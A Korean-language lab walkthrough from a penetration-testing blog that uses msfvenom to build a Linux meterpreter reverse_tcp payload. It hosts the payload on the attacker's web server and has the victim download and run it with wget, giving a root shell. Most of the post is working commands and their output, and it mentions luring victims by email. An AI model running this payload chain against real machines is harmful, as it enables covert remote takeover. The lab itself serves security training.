Linux/모의해킹

[Linux] msfvenom 악성코드 생성과 쉘 장악

GGkeeper 2021. 11. 10. 04:09

실습> msfvenom 을 이용한 악성코드 작성하기

metasploit의 리눅스 기반의 reverse_tcp payload는 
reverse connection 을 기반으로 하고 있다.
malware 를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.

Attacker(Kali) : 192.168.50.200
Victim(CentOS 7) : 192.168.50.100

리눅스 버전
                +-- meterpreter shell
                |
  Attacker      |        Victim
+----------+    v    | +----------+
|          |  +===+  | |          |
|          |  |   |  | |          |
|   4444 ---->| M |<-|----- 1017 [malware]
|          |  |   |  | |          |
|          |  +===+  | |          |
+----------+         | +----------+
192.168.50.200        192.168.50.100
                       iptables 활성화


-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --


1. Victim 방화벽 활성화
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --sport 22 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP

victim# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp spt:22
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0
DROP       all  --  0.0.0.0/0            0.0.0.0/0

2. 웹서버 시작
피해자(Victim) 가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
Attacker# /etc/init.d/apache2 start


3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.
Attacker# ifconfig  eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.50.200  netmask 255.255.255.0  broadcast 192.168.108.255
        inet6 fe80::20c:29ff:feea:9e42  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ea:9e:42  txqueuelen 1000  (Ethernet)
        RX packets 759542  bytes 963831179 (919.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 399628  bytes 30515946 (29.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f    : 실행파일 형식
-o    : 악성파일 경로

/var/www/html/malware2 로 악성코드를 생성한다. 
Attacker# msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.50.200 lport=4444 -f elf -o /var/www/html/malware2

Attacker# file /var/www/html/malware2 
/var/www/html/malware2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header

4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
Attacker# msfconsole
msf6 > info multi/handler
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


LHOST 변수에 Attacker's IP Address 를 설정한다.
msf6 exploit(multi/handler) > set LHOST 192.168.50.200

exploit 명령어를 이용해서 공격대기를 한다.
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.50.200:4444

5. 악성코드 실행
Victim에서 악성코드를 다운로드 받아서 실행한다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일을 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.
Victim# wget http://192.168.50.200/malware2
Victim# chmod 755 malware2
Victim# ./malware2

Victim 에서 악성코드를 다운로드 받아서 실행하면 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.

[*] Started reverse TCP handler on 192.168.50.200:4444
[*] Sending stage (984904 bytes) to 192.168.50.100
[*] Meterpreter session 1 opened (192.168.50.200:4444 -> 192.168.50.100:58876) at 2021-08-05 04:54:02 -0400


Attacker# netstat -natp | grep 4444
tcp        0      0 192.168.50.200:4444    192.168.50.100:58876   ESTABLISHED 39466/ruby

victim# netstat -nat | grep 4444
tcp        0      0 192.168.50.100:58876   192.168.50.200:4444    ESTABLISHED

6. Victim 장악
피해자의 공격에 성공하면 meterpreter 쉘이 실행된 걸 확인할 수 있다.
Computer     : nginx.linuxmaster.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

meterpreter > shell
Process 7179 created.
Channel 1 created.

w
 17:55:42 up 23:09,  3 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      Tue19   27:28m  0.20s  0.20s -bash
root     pts/0    192.168.108.1    12:11    1:42   0.21s  0.03s w
root     pts/1    192.168.108.1    Wed19   46.00s  0.10s  0.10s -bash
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:29:7b:76 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.108.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::40c:616e:a7d9:752e/64 scope link noprefixroute
       valid_lft forever preferred_lft forever